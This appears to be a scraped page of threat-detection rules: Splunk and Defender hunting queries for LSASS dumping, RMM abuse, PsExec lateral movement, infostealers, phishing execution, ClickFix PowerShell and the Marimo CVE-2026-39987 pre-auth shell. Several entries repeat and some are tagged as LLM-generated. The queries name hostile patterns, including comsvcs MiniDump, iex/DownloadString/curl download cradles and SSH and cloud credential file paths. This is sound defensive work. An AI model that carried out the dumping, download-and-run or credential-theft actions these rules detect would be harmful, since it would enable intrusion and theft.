| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-03-254 use cases0 techniques3 kill-chain phases detected
Langflow contains a code injection vulnerability that could allow building public flows without requiring authentication. Vendor: Langflow, Product: Langflow. Federal patch due: 2026-04-08.
CVEsCVE-2026-33017
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-33017")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33017")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-32432")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-32432")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-204 use cases0 techniques3 kill-chain phases detected
Laravel Livewire contain a code injection vulnerability that could allow unauthenticated attackers to achieve remote command execution in specific scenarios. Vendor: Laravel, Product: Livewire. Federal patch due: 2026-04-03.
CVEsCVE-2025-54068
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-54068")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-54068")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
